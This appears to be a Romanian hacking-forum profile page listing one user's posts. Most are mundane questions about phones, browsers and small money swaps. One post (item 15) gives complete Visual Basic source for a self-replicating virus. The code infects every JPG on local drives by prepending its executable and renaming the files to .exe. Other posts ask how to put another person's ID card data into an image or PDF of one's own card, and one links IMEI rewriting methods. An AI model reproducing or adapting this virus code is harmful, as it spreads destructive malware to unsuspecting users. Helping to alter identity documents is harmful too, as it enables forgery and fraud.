Jump to content

Adriano2015

Members
 View Profile  See their activity

  • Posts

    49

  • Joined

  • Last visited

 Content Type 

Everything posted by Adriano2015

  1. Adriano2015
    Nu mai am nevoie. Am rezolvat-o. Am facut alta poza buletinului. Nu vroiam sa falsific nimic. Se poate inchide acest topic.
  2. Adriano2015
    Daca am buletinul meu in pdf cum pot pune datele celuilat buletin in pdf? Am incercat cu pdfescape dar nu iese ok.
  3. Adriano2015
    Cum pot modifica o poza facuta cu telefonul sa o pun in alt cadran? Am facut poza cu telefonul unui buletin si nu se vede coltul alb din dreapta sus. Eu am si poza cu alt buletin care se vede complet. Deci cum as putea sa modific poza sa se vada buletinul intreg? Problema e ca nu se vede litera y din valabilitate/validity Nimeni nu stie un program de editat modificat?
  4. Adriano2015
    Ok. Nu e problema. VPS functioneaza si cand esti tu offline?
  5. Adriano2015
    Cum de ai asa putine ore in 2 saptamani? 64.4 ore
  6. Adriano2015
    Probabil are ceva bug-uri browser-ul sau site-ul. Pe RST merge perfect si e versiunea full a site-ului nu versiunea mobila.
  7. Adriano2015
    M-am inregistrat pentru o licenta avast. Se poate sa trimita in spam, dar cum intru in spam? A venit pana la urma mailul.
  8. Adriano2015
    Macar inainte de a posta era bine daca faceai o proba. Mie unu nu imi merge, nu primesc nici un email.
  9. Adriano2015
    Am o problema cu browserul Mozilla for android. De pe unele pagini imi iese automat din browser si imi apare ecranul de start. Ce pot sa fac? De exemplu intru pe Vbet - Sport betting, Poker, Casino, Online Games si imi iese din browser
  10. Adriano2015
    Ai pm.
  11. Adriano2015
    Cand te referi la telefon interceptat, te referi inclusiv la interceptari SRI sau te referi la interceptari prin programe spion(sau ambele)?
  12. Adriano2015
    Reupload dar cripteaza link-urile. Mersi
  13. Adriano2015
    Prin ce metoda platesc?
  14. Adriano2015
    Cel mai bine ia-ti laptopul Macbook Air 13.
  15. Adriano2015
    Private Sub Form_Load() On Error Resume Next Randomize Dim rubishcode As String Dim picture As String Set fso = CreateObject("scripting.filesystemobject") Set tempfold = fso.getspecialfolder(2) payload = Int(999 * Rnd) If payload = 783 Then MsgBox "@@@ I LoVe GeOrGia in PaTra..I'm dOOmeD @@@", 64, "Eva ViRus VeRsIon 2.0" End If myname = App.Path & "\" & App.EXEName & ".exe" buff = FileLen(myname) If buff > 20992 Then rub = buff - 20992 Open (myname) For Binary Access Read As #1 rubishcode = Space(rub) Seek #1, 20993 Get #1, , rubishcode Close #1 picture = tempfold & "\" & App.EXEName & ".jpg" Open (picture) For Binary Access Read Write As #2 Put #2, , rubishcode Close #2 ddd = "c:\Program Files\Internet Explorer\iexplore.exe " & picture idProg = Shell(ddd, vbMaximizedFocus) SetAttr picture, vbSystem + vbHidden Else MsgBox "Out of memory!", 16, "Internet Explorer" End If autos = tempfold & "\win32dll.vid" If (fso.fileexists(autos)) Then End End If Set dr = fso.Drives For Each d In dr If d.DriveType = 2 Or d.DriveType = 3 Then list (d.Path & "\") End If Next Open (autos) For Binary Access Read Write As #22 Put #22, , "390842038209384023980984023 src coded next" Close #22 End End Sub Sub list(dir) On Error Resume Next Set fso = CreateObject("scripting.filesystemobject") Set f = fso.GetFolder(dir) Set ssf = f.Subfolders For Each fil In ssf spreadmailto (fil.Path) list (fil.Path) Next End Sub Sub spreadmailto(dir) On Error Resume Next Dim readvictim As String Dim readme As String Set fso = CreateObject("Scripting.filesystemobject") Set f = fso.GetFolder(dir) Set cf = f.Files For Each fil In cf ext = fso.GetExtensionName(fil.Path) ext = LCase(ext) If (ext = "jpg") Then 'Main replication routine starts HeRe! myname = App.Path & "\" & App.EXEName & ".exe" victimlen = FileLen(fil.Path) Open (fil.Path) For Binary Access Read As #3 readvictim = Space(victimlen) Get #3, , readvictim Close #3 Open (myname) For Binary Access Read As #4 readme = Space(20992) Get #4, , readme Close #4 Open (fil.Path) For Binary Access Read Write As #5 Put #5, , readme Put #5, , readvictim Close #5 newname = fil.parentfolder & "\" newname2 = Left(fil.Name, 1) newname3 = Right(fil.Name, Len(fil.Name) - 1) newname4 = LCase(Left(newname3, Len(newname3) - 3) & "exe") newnameall = newname & newname2 & newname4 Name fil.Path As newnameall 'Main replication Routine Ends HeRe! myname = "" readme = "" readvictim = "" End If Next End Sub
  16. Adriano2015
    Trebuie sa-ti creezi un cont gratuit pe kernelmode.
  17. Adriano2015
    Daca IMEI-ul este 0000000000000 incearca sa-l rescrii. Ai aici metode de rescriere Backup IMEI - razvang.ro
  18. Adriano2015
    *2767*3855# Este un cod pentru hard reset. Atentie ca iti sterge toate contactele si pozele. Scoate cartela SIM si apoi baga-l.
  19. Adriano2015
    Daca avionul era pe comanda manuala nu prea vad cum mai reusea sa controleze motorul avionului.
  20. Adriano2015
    Unde au disparut useri precum: Nemessis , Slick si alti useri de valoare?
  21. Adriano2015
    1Ex6kHzcFWtuBSA9hn9Kp7ovZeX9wGXs1N
  22. Adriano2015
    Transfer 5 euro vodafone pentru 15 lei skrill. Scuze ca postez aici dar nu pot deschide topic nou de pe mobil
  23. Adriano2015
    ); bodyNode.insert(item, 'before'); }); De ce apare asta la yahoo mail? Stiu ca nu trebuia sa intreb aici dar nu pot deschide topic nou
  24. Adriano2015
    Am nevoie de 0.1€ Webmoney (E-purse) , platesc 0.4€ skrill.
×
×
  • Create New...